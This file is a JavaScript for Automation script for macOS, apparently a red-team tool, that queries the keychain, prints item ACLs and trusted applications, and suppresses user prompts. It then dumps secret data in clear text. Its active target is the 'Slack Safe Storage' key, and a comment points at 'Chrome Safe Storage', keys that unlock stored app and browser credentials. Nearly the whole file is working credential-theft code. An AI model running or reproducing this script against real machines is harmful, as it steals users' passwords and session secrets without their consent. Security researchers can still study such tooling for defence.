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locksmithlitejxa.js
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locksmithlitejxa.js
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ObjC.import("Security");
ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]);
function hex2a(hexx) {
var hex = hexx.toString();//force conversion
var str = '';
for (var i = 0; i < hex.length; i += 2)
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
return str;
}
print_acls = function(accessRights, acl_c, range, keychainItem){
let userId = Ref();
let groupId = Ref();
let ownerType = Ref();
let ownerACLS = Ref();
$.SecAccessCopyOwnerAndACL(accessRights, userId, groupId, ownerType, ownerACLS);
if(ownerType[0] !== 0){
console.log("userid: " + userId[0] + "\ngroupid: " + groupId[0] + "\nownertype: " + ownerType[0]);
} else {
console.log("\tOwnership determined by partitionID");
}
auth_c = $.CFMakeCollectable(ownerACLS[0]);
if(auth_c.js !== undefined){
console.log("Owner Authorizations:");
for(let j = 0; j < parseInt($.CFArrayGetCount(auth_c)); j++){
authz = auth_c.objectAtIndex(j);
console.log("\t" + authz.js);
}
}else{
console.log("\tNo Authorizations")
}
let hasNecessaryPartitionIDs = false;
let hasPartitionIDSet = false;
let hasNecessaryAuthorizationsAndIsTrustedApplication = false;
let hasNecessaryAuthorizationsAndAllApplicationsTrusted = false;
if(range === 0){
hasNecessaryPartitionIDs = true;
hasPartitionIDSet = true;
hasNecessaryAuthorizationsAndIsTrustedApplication = true;
hasNecessaryAuthorizationsAndAllApplicationsTrusted = true;
}
for(let i = 0; i < range; i++){
let perACLIsTrustedApplication = false;
let perACLHasNecessaryAuthorizations = false;
let perACLAllApplicationsTrusted = false;
let acl1 = acl_c.objectAtIndex(i);
let application_list = Ref();
let description = Ref();
let keychainPromptSelector = Ref();
$.SecACLCopyContents(acl1, application_list, description, keychainPromptSelector);
description_c = $.CFMakeCollectable(description[0]); // $("Chrome Safe Storage")
console.log("---------------------------------------------------");
if(description_c.js.startsWith("3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a")){
// we're looking at the PartitionID PLIST
// 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a
// is "<?xml version="1.0" encoding="UTF-8"?>" which means we're looking at a plist for the description
let plistString = hex2a(description_c.js);
let format = $.NSPropertyListXMLFormat_v1_0;
let partitionPlist = $.NSPropertyListSerialization.propertyListWithDataOptionsFormatError($(plistString).dataUsingEncoding($.NSUTF8StringEncoding), $.NSPropertyListImutable, $.NSPropertyListXMLFormat_v1_0, $.nil);
if(partitionPlist.objectForKey("Partitions")){
let partitions = ObjC.deepUnwrap(partitionPlist.objectForKey("Partitions"));
console.log("\tAllowed Code Signatures: ", partitions);
}
}
console.log("\tDescription of ACL: " + description_c.js);
application_list_c = $.CFMakeCollectable(application_list[0]);
if(application_list_c.js !== undefined){
let app_list_length = parseInt($.CFArrayGetCount(application_list_c));
if(app_list_length === 0){
console.log("\tNo trusted applications");
}
for(let j = 0; j < app_list_length; j++){
secapp = application_list_c.objectAtIndex(j);
secapp_c = Ref();
$.SecTrustedApplicationCopyData(secapp, secapp_c);
secapp_data = $.CFMakeCollectable(secapp_c[0]);
sec_string = $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithBytesLength(secapp_data.bytes, secapp_data.length), $.NSUTF8StringEncoding);
console.log("\tTrusted App: " + sec_string.js);
}
} else {
console.log("\tAll applications trusted");
}
auth = $.SecACLCopyAuthorizations(acl1);
auth_c = $.CFMakeCollectable(auth);
if(auth_c.js !== undefined){
console.log("\tAuthorizations:");
for(let j = 0; j < parseInt($.CFArrayGetCount(auth_c)); j++){
authz = auth_c.objectAtIndex(j);
console.log("\t\t" + authz.js);
//if( (authz.js.includes("ACLAuthorizationExportClear") || authz.js.includes("ACLAuthorizationAny") ) && application_list_c.js === undefined){
if( authz.js.includes("ACLAuthorizationExportClear") || authz.js.includes("ACLAuthorizationAny")){
//console.log("\t\tApplication list is nil and there is authorization to export");
perACLHasNecessaryAuthorizations = true;
}
}
}else{
console.log("\t\tNo Authorizations")
}
}
$.SecKeychainSetUserInteractionAllowed(false);
if(true){
print_password(keychainItem);
}
}
print_password = function(keychainItem){
let dataContent = Ref();
let dataContentLength = Ref();
let attributeList = Ref();
status = $.SecKeychainItemCopyContent(keychainItem, 0, attributeList, dataContentLength, dataContent);
//console.log(status);
//console.log(dataContentLength[0]);
if(status === 0){
let nsdata = $.NSData.alloc.initWithBytesLength(dataContent[0], dataContentLength[0]);
//console.log("\t\t[++++++++] SECRET DATA HERE [++++++++++]")
//console.log("Base64 of secret data: " + nsdata.base64EncodedStringWithOptions(0).js);
console.log("Secret Data: ", $.NSString.alloc.initWithDataEncoding(nsdata, $.NSUTF8StringEncoding).js);
}else if(status === -25293){
console.log("Failed to get password - Invalid Username/Password");
} else {
console.log("Failed to decrypt with error: " + status);
}
}
process_query = function(query){
let items = Ref();
let status = $.SecItemCopyMatching(query, items);
if(status === 0){
let item_o_c = $.CFMakeCollectable(items[0]).js;
console.log("[+] Successfully searched, found " + item_o_c.length + " items")
for(let i = 0; i < item_o_c.length; i++){
let item = item_o_c[i];
//$.CFShow(item);
console.log("==================================================");
console.log("Account: " + item.objectForKey("acct").js);
console.log("Create Date: " + item.objectForKey("cdat").js);
//console.log(item.objectForKey("gena").js);
console.log("Label: " + item.objectForKey("labl").js);
console.log("Modify Date: " + item.objectForKey("mdat").js);
console.log("Service: " + item.objectForKey("svce").js);
console.log("KeyClass: " + item.objectForKey("class").js);
if( item.objectForKey("gena").js !== undefined){
console.log("General: " + item.objectForKey("gena").base64EncodedStringWithOptions(0).js);
}
let access_rights2 = Ref();
$.SecKeychainItemCopyAccess(item.objectForKey("v_Ref"), access_rights2);
let acl2 = Ref()
$.SecAccessCopyACLList(access_rights2[0], acl2)
range2 = parseInt($.CFArrayGetCount(acl2[0]));
acl_c2 = $.CFMakeCollectable(acl2[0]);
print_acls(access_rights2[0], acl_c2, range2, item.objectForKey("v_Ref"));
// we can get the data and try to decrypt below
//let dataContent = Ref();
//let dataContentLength = Ref();
//let attributeList = Ref();
//status = $.SecKeychainItemCopyContent(item_o_c, 0, attributeList, dataContentLength, dataContent);
//console.log(status);
//console.log(dataContentLength[0]);
//let nsdata = $.NSData.alloc.initWithBytesLength(dataContent[0], dataContentLength[0]);
//console.log(nsdata.base64EncodedStringWithOptions(0).js);
}
}else{
console.log("[-] Failed to search keychain with error: " + status);
}
}
list_all_key_of_type = function(key_type){
let items = Ref();
let query = $.CFDictionaryCreateMutable($.kCFAllocatorDefault, 0, $.kCFTypeDictionaryKeyCallBacks, $.kCFTypeDictionaryValueCallBacks);
$.CFDictionarySetValue(query, $.kSecClass, key_type);
$.CFDictionarySetValue(query, $.kSecMatchLimit, $.kSecMatchLimitAll);
$.CFDictionarySetValue(query, $.kSecReturnAttributes, $.kCFBooleanTrue);
$.CFDictionarySetValue(query, $.kSecReturnRef, $.kCFBooleanTrue);
//$.CFDictionarySetValue(query, $.kSecReturnData, $.kCFBooleanTrue);
process_query(query);
}
list_all_attr_of_key_by_account = function(account){
let items = Ref();
let query = $.CFDictionaryCreateMutable($.kCFAllocatorDefault, 0, $.kCFTypeDictionaryKeyCallBacks, $.kCFTypeDictionaryValueCallBacks);
$.CFDictionarySetValue(query, $.kSecClass, $.kSecClassGenericPassword);
$.CFDictionarySetValue(query, $.kSecAttrAccount, $.CFStringCreateWithCString($.kCFAllocatorDefault, account, $.kCFStringEncodingUTF8));
$.CFDictionarySetValue(query, $.kSecMatchLimit, $.kSecMatchLimitAll);
$.CFDictionarySetValue(query, $.kSecReturnAttributes, $.kCFBooleanTrue);
$.CFDictionarySetValue(query, $.kSecReturnData, $.kCFBooleanFalse);
$.CFDictionarySetValue(query, $.kSecReturnRef, $.kCFBooleanTrue);
process_query(query);
}
list_all_attr_of_key_by_label_genp = function(label){
let items = Ref();
let query = $.CFDictionaryCreateMutable($.kCFAllocatorDefault, 0, $.kCFTypeDictionaryKeyCallBacks, $.kCFTypeDictionaryValueCallBacks);
$.CFDictionarySetValue(query, $.kSecClass, $.kSecClassGenericPassword);
$.CFDictionarySetValue(query, $.kSecAttrLabel, $.CFStringCreateWithCString($.kCFAllocatorDefault, label, $.kCFStringEncodingUTF8));
$.CFDictionarySetValue(query, $.kSecMatchLimit, $.kSecMatchLimitAll);
$.CFDictionarySetValue(query, $.kSecReturnAttributes, $.kCFBooleanTrue);
$.CFDictionarySetValue(query, $.kSecReturnData, $.kCFBooleanFalse);
$.CFDictionarySetValue(query, $.kSecReturnRef, $.kCFBooleanTrue);
process_query(query);
}
list_all_attr_of_key_by_label_key = function(label){
let items = Ref();
let query = $.CFDictionaryCreateMutable($.kCFAllocatorDefault, 0, $.kCFTypeDictionaryKeyCallBacks, $.kCFTypeDictionaryValueCallBacks);
$.CFDictionarySetValue(query, $.kSecClass, $.kSecClassKey);
$.CFDictionarySetValue(query, $.kSecAttrLabel, $.CFStringCreateWithCString($.kCFAllocatorDefault, label, $.kCFStringEncodingUTF8));
$.CFDictionarySetValue(query, $.kSecMatchLimit, $.kSecMatchLimitAll);
$.CFDictionarySetValue(query, $.kSecReturnAttributes, $.kCFBooleanTrue);
$.CFDictionarySetValue(query, $.kSecReturnData, $.kCFBooleanFalse);
$.CFDictionarySetValue(query, $.kSecReturnRef, $.kCFBooleanTrue);
process_query(query);
}
//list_all_key_of_type($.kSecClassGenericPassword);
//list_all_key_of_type($.kSecClassKey);
//list_all_key_of_type($.kSecClassInternetPassword);
//list_all_key_of_type($.kSecClassCertificate);
//list_all_attr_of_key_by_account("test account");
list_all_attr_of_key_by_label_genp("Slack Safe Storage");